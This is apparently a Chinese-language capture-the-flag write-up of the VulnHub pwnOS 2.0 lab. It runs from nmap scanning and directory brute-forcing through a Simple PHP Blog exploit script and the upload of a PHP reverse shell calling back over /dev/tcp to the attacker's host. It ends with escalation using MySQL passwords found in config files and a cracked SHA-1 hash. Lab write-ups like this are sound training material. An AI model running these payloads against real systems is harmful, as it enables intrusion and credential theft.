文章目录
靶机地址
https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z
这里如果是windows系统直接使用vmware或者virtubox打开可以使用,如果是mac系统需再去做一个配置,比较麻烦
这里给一个参考地址:https://blog.csdn.net/qq_35664104/article/details/131757633
主机发现、端口扫描
shell
han@Kali:~/RedTeam$ sudo arp-scan -l
han@Kali:~/RedTeam$ sudo nmap -sn 192.168.100.0/24

通过主机发现扫描到了主机的ip地址,进一步进行端口扫描以及下一步的利用:
shell
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --min-rate 10000 192.168.100.104 -p- #使用-p-扫描全端口,min-rate是扫描速率
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sT -A -O -p22,80 192.168.100.104 #-sT是建立tcp扫描(全连接扫描) -A是全面扫描检测包括版本号,操作系统,同时还会利用脚本扫描 -O 是探测操作系统类型 -p时端口号
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap -sU -p22,80 192.168.100.104 #-U参数是建立UDP扫描
han@Kali:~/RedTeam/PWNOS:2.0$ sudo nmap --script=vlun 192.168.100.104 #--script=vuln 使用脚本扫描用于常见的漏洞的探测
第一步扫描我们很清晰的看到有80端口和22端口
到这里我们可以清晰的看到,80端口给我们暴露的攻击面比22端口多,这里我们吧22端口的优先级排后,使用80尝试渗透
web渗透
目录探测
这里介绍3个工具的探测,其实web目录探测工具很多,根据自己的习惯来写就好了
shell
han@Kali:~/RedTeam/PWNOS:2.0$ sudo gobuster dir -u http://192.168.100.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirsearch -u http://192.168.100.104
han@Kali:~/RedTeam/PWNOS:2.0$ sudo dirb http://192.168.100.104
这里也只是根据我自己的一些习惯给到的一些参数,这里可以根据自己的需求,结合ai等来做一些具体的配置更好的配合我们来做渗透测试


这里同理,对blog目录进行探测
http://192.168.100.104/blog/config
http://192.168.100.104/includes
漏洞利用

在这里尝试使用sql inject 但是...
到此好像这一个利用手法没有后续可以利用的点,所以这里准备换方法
这里我们看到了有blog的一个目录,还有一个登陆框
这里也并没有可利用的,这里想到blog目录可能是一个cms,需要我们做一个信息收集
shell
han@Kali:~/RedTeam/PWNOS:2.0$ whatweb http://192.168.100.104/blog

这里我们发现了是Simple PHP Blog 0.4.0 cms 所以这里可以尝试从这里入手
shell
han@Kali:~/RedTeam/PWNOS:2.0$ searchsploit Simple PHP Blog 0.4.0

这里看到了有一个rb 一个pl可以使用
使用search -m 1191.pl将其下载到本地

这里给我们提示,需要加入地址和参数e,我们尝试构造
这里提到可以使用2来得到一个密码文件的hash值 使用3能创建一个用户密码,所以这里使用3来创建用户密码尝试看能不能使用login登陆框来登陆
shell
han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 2
这里使用-h要加入url地址,并且使用/blog目录,起初在这里尝试了很多次都出现了问题,后来发现是必须使用/blog才能成功
shell
han@Kali:~/RedTeam/PWNOS:2.0$ ./1191.pl -h http://192.168.100.104/blog -e 3 -U admin -P admin

这里提示我们设置了admin用户和admin密码,这里尝试使用登陆
这是好事,登陆成功了,这里我们看到是有一个上传的接口,这也是好事!
han@Kali:~/RedTeam/PWNOS:2.0$ echo '<?php exec("/bin/bash -c '\''bash -i >& /dev/tcp/192.168.100.106/4444 0>&1'\''");?>' > reverse_shell.php
han@Kali:~/RedTeam/PWNOS:2.0$ cat reverse_shell.php
由于这里是使用echo来输入 ,所以需要使用转义符号来
在 Shell 中使用 单引号 包裹整个 PHP 内容,此时内部的单引号需要通过 ''' 转义 转义之后才是我们的'
因为这里存在上传点而且是php的环境,所以我们尝试使用php代码来执行反弹shell,这里还可以使用msf生成反弹shell上线msf,也可以使用webshell工具来执行,根据自己的需求,也根据环境的不同来选择

针对上面命令做一个简单的介绍:
<?php ?> 这里头的代码会被当作php语句而执行exec()函数是php中用于执行系统命令的函数
/bin/bash -c 通过-c参数来执行后续的字符串命令
bash -i >& /dev/tcp/... 我们熟悉的反弹shell命令
bash -i 启动交互式的shell
/dev/tcp/是linux的特殊设备,用于建立TCP连接
>&是将标准输出和标准的错误重定向到TCP连接
0>&1 将标准输入重定向到标准输出,形成双向通信通道
上传反弹即可
shell
han@Kali:~/RedTeam/PWNOS:2.0$ nc -lnvvp 4444
权限提升
这里可以看到已经得到shell,需要我们进一步进行提权了
非常好我们找到了一个有意义的文件
mysql连接的文件
root
goodday

这里就可以尝试登陆,mysql或者是使用22端口ssh登陆,这里就是可以想到的思路
但是非常遗憾,这里都不能登陆,思路再次断了
这里就只能做进一步的信息收集了

说来也巧,这里刚回退到上一个目录,又发现了一个mysql的连接文件

还是root,但是密码不同了
root
root@ISIntS
尝试登陆
非常好,使用root@ISIntS 这个密码直接登陆成功了,还是root权限
这里其实我想到,既然有数据库连接文件,就应该是和数据库有什么关系,所以这里就又进行了一些信息收集

但是这里卡着没反应了
当时 的第一反应我以为是密码错了,可是后来一直卡着没反应,没办法只好重新反弹,我突然想到会不会是终端不友好的问题,所以我尝试使用了python来启动一个交互好点的终端

这是好事,可以使用python起一个终端
shell
www-data@web:/var/www/blog/images$ python -c 'import pty;pty.spawn("/bin/bash")'

这里和我们想的是一样的
在数据库中给你做一波信息收集
shell
mysql> show databases;
mysql> use ch16;
mysql> select * from users;

这里得到了一个用户Dan的密码c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
shell
han@Kali:~/RedTeam/PWNOS:2.0$ hash-identifier 'c2c4b4e51d9e23c02c15702c136c3e950ba9a4af'
使用hash-identifier来识别一下hash值是哪种加密类型,方便我们去判断如何解密

这里是sha-1加密类型,这里需要使用工具来尝试了
解密工具地址

成功得到密码:killerbeesareflying
尝试登陆ssh

很遗憾这里登录不成功
看来这里就只有通过root直接登陆,而dan用户没有更多的后续了,那就到此为止了!
总结
整体来说,就是要有一个渗透测试思路,最重要的还是思路,需要我们多多重复多多练习才有思路,文章只做技术交流,希望对各位有帮助!